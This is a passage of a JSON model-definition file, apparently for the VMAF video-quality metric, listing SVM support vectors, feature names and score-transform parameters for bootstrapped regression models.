\n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-2.385364861414625 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-2.75836497743266 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n2.354529904549924 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.34770698 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n1.665617466998827 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n3.926201903328468 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n0.242221660202504 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n2.428195691595104 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n-4 1:0.74673262 2:0.20629643 3:0.21465833 4:0.65034545 5:0.76692184 6:0.82551595 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n-4 1:0.74425089 2:0.014623935 3:0.78900741 4:0.90386551 5:0.96905764 6:0.98466408 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-2.434114453227482 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-2.914964270694813 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;9&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -1.40801\nSV\n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-4 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.58396162 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n4 1:0.85559183 2:0.20629643 3:0.30562098 4:0.80541317 5:0.89285836 6:0.92907353 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n4 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.93011029 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n4 1:0.54184698 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n-4 1:0.69716201 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n4 1:0.62552631 2:0.49739676 3:0.30895604 4:0.40532955 5:0.48355121 6:0.54476585 \n-4 1:0.83089047 2:0.014623935 3:0.80905852 4:0.94637428 5:0.97242826 6:0.97946694 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.90573613 2:0.047285912 3:0.55323777 4:0.95113339 5:0.97249918 6:0.9795177 \n-2.407958259496237 1:0.66561759 2:0.083369236 3:0.37833052 4:0.59301482 5:0.71772587 6:0.7905538 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-1.359510920996496 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n4 1:0.73251944 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-3.34421308591725 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-0.8242747662499885 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-1.849849093915226 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-2.46565807517018 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-1.748535798254621 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n0.2890463784564076 1:0.63920442 2:0.20629643 3:0.16825499 4:0.55661206 5:0.69111529 6:0.7656762 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n4 1:0.69981151 2:0.54342577 3:0.21726369 4:0.60683566 5:0.72232536 6:0.78414054 \n-4 1:0.62474007 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n2.459942512231567 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n3.251011109312023 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.73985421 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 